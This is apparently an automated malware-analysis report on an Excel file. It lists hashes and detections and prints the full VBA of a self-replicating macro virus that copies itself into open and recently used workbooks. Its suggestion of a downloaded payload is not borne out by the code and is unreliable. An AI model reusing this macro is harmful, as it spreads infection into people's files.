Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 49cf6d42705c4f05…

MALICIOUS

Office (OLE)

22.5 KB Created: 1996-10-14 23:33:28 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: edf8057be5aaf0624c29912f69af3f77 SHA-1: 3fd010334555a88bf3447485de9f4a4cd3a726de SHA-256: 49cf6d42705c4f05eabf2313a0f9a28b1dea0cbc3d4df47176cca05f7845a44f
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is an Excel document containing a Workbook_Open VBA macro, which is a common technique for executing malicious code upon opening. The macro appears to be designed to overwrite itself and potentially download or execute a secondary payload, as indicated by the ClamAV detection of 'Win.Trojan.W-420'. The macro's logic for handling multiple workbooks suggests an attempt to spread or ensure execution.

Heuristics 3

  • ClamAV: Win.Trojan.W-420 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.W-420
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2123 bytes
SHA-256: 2e86de600ba362589bf065d4a755faa8113f37e4e641a486061e1b1a6736c292
Detection
ClamAV: Win.Trojan.W-420
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open(): On Error GoTo Wups
If Workbooks.Count > 1 Then InfMulti
Application.DisplayAlerts = False
WB = ThisWorkbook.VBProject.VBComponents.Item(1).CodeModule.Lines(1, ThisWorkbook.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
For X = 1 To Application.RecentFiles.Count
Application.RecentFiles.Item(X).Open.Activate
With ActiveWorkbook.VBProject.VBComponents.Item(1).CodeModule
.DeleteLines 1, .CountOfLines: .AddFromString WB
End With
ActiveWorkbook.SaveAs FileName:=ActiveWorkbook.FullName
ActiveWorkbook.Close
Next X
Wups:
End Sub
Private Sub InfMulti(): On Error GoTo Ahhh
Application.DisplayAlerts = False
WB = ThisWorkbook.VBProject.VBComponents.Item(1).CodeModule.Lines(1, ThisWorkbook.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
For X = 1 To Workbooks.Count
With Workbooks.Item(X).VBProject.VBComponents.Item(1).CodeModule
.DeleteLines 1, .CountOfLines: .AddFromString WB
End With
Workbooks.Item(X).SaveAs FileName:=Workbooks.Item(X).FullName
Next X
Ahhh:
End
End Sub
'Ex-lax By Lys Kovick


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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